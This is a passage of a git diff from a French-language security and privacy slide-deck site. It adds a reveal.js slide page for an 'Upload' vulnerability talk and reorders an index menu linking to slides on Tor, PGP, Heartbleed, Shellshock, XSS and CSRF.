+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/1337/upload.html b/content/slides/1337/upload.html
new file mode 100644
index 0000000000000000000000000000000000000000..394c1a5f00ff41232a01e99c36149240a50496b3
--- /dev/null
+++ b/content/slides/1337/upload.html
@@ -0,0 +1,70 @@
+<!doctype html>
+<html>
+  <head>
+    <meta charset="utf-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
+
+    <title>Upload</title>
+
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
+    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">
+
+    <!-- Theme used for syntax highlighting of code -->
+    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
+    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
+    <link rel="stylesheet" href="../main.css">
+
+    <!-- Printing and PDF exports -->
+    <script>
+      var link = document.createElement( 'link' );
+      link.rel = 'stylesheet';
+      link.type = 'text/css';
+      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
+      document.getElementsByTagName( 'head' )[0].appendChild( link );
+    </script>
+  </head>
+  <body>
+    <div class="reveal">
+      <div class="slides">
+        <section data-markdown="md/upload.md"
+         data-separator="^\n\n\n"
+         data-separator-vertical="^\n\n"
+         data-separator-notes="^Note:"
+         data-charset="utf-8">
+       </section>
+      </div>
+    </div>
+
+    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
+    <script src="../../node_modules/reveal.js/js/reveal.js"></script>
+
+    <script>
+      // More info about config & dependencies:
+      // - https://github.com/hakimel/reveal.js#configuration
+      // - https://github.com/hakimel/reveal.js#dependencies
+      Reveal.initialize({
+        controls: true,
+        progress: true,
+        history: true,
+        center: false,
+        dependencies: [
+          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
+          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
+            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
+            callback: function() {
+              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
+                var fragIndex = ele.innerHTML.indexOf("--")
+                if (fragIndex != -1){
+                  ele.innerHTML = ele.innerHTML.replace("--", "");
+                  ele.className = 'fragment';
+                }
+              });
+            }
+          },
+          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
+          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
+        ]
+      });
+    </script>
+  </body>
+</html>
diff --git a/content/slides/index.html b/content/slides/index.html
index 0bd7877919823f08ab3e905a0948191dadbee6b9..7f6c9de7e0f95624773bdb33a5260a0a465e8eba 100644
--- a/content/slides/index.html
+++ b/content/slides/index.html
@@ -7,12 +7,12 @@
       <li><a href="privacy/sovereignty.html">souverainet&eacute;</a></li>
       <li><a href="privacy/tracking.html">tracking</a></li>
       <li><a href="privacy/passwords.html">mots de passes</a></li>
-      <li><a href="privacy/tor.html">tor</a></li>
-      <li><a href="privacy/tails.html">tails</a></li>
       <li><a href="privacy/crypto.html">crypto</a></li>
-      <li><a href="privacy/pgp.html">pgp</a></li>
       <li><a href="privacy/tls.html">tls</a> / <a href="privacy/tls.html#/0/52">https</a></li>
+      <li><a href="privacy/pgp.html">pgp</a></li>
       <li><a href="privacy/TLSvsPGP.html">tls vs PGP</a></li>
+      <li><a href="privacy/tor.html">tor</a></li>
+      <li><a href="privacy/tails.html">tails</a></li>
       <li><a href="privacy/bitcoin.html">bitcoin</a></li>
     </ul>
   </li>
@@ -32,9 +32,8 @@
     Pentesting
     <ul>
       <li><a href="1337/gathering.html">Collecter</a></li>
-      <li><a href="1337/detecting.html">D&eacute;tecter</a></li>
       <li>
-        Exploit
+        <a href="1337/detecting.html">D&eacute;tecter</a>
         <ul>
           <li><a href="1337/heartbleed.html">Heartbleed</a></li>
         </ul>
@@ -46,18 +45,13 @@
     Vuln&eacute;rabilit&eacute;s communes
     <ul>
       <li>
-        <a href="1337/command_execution.html">Ex&eacute;cution arbitraire de commandes</a>
+        <a href="1337/cmdi.html">Command execution</a>
         <ul>
-          <li>
-            Exploit
-            <ul>
-              <li><a href="1337/shellshock.html">Shellshock</a></li>
-            </ul>
-          </li>
+          <li><a href="1337/shellshock.html">Shellshock</a></li>
         </ul>
       </li>
       <li><a href="1337/upload.html">Upload</a></li>
-      <li><a href="1337/lfi_rfi.html">LFI_RFI</a></li>
+      <li><a href="1337/fi.html">File inclusion</a></li>
       <li><a href="1337/xss.html">XSS</a></li>
       <li><a href="1337/csrf.html">CSRF</a></li>
       <li>